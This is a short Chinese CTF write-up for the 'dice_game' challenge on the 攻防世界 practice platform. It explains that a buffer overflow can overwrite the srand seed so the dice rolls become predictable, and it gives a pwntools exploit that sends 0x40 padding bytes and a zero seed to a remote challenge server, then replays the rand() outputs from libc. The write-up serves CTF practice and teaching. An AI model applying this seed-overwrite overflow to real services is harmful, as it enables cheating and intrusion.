这里主要记一下seed的覆盖,srand(seed);v2 = rand() % 6 + 1;其中rand的生成是依靠seed的,我们只要找到seed与输入值之间的偏移将seed修改为我们想要的值,就可以预测rand的生成
这是攻防世界dice_game的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * from ctypes import * p=remote('61.147.171.105','57464') libc = cdll.LoadLibrary("libc.so.6") p.recv() payload=0x40*b"a"+p64(0) p.sendline(payload)
a=[] for i in range(50): a.append(libc.rand()%6+1) print(a) for i in a: p.recv() print(p.recv()) p.sendline(str(i)) p.interactive()
|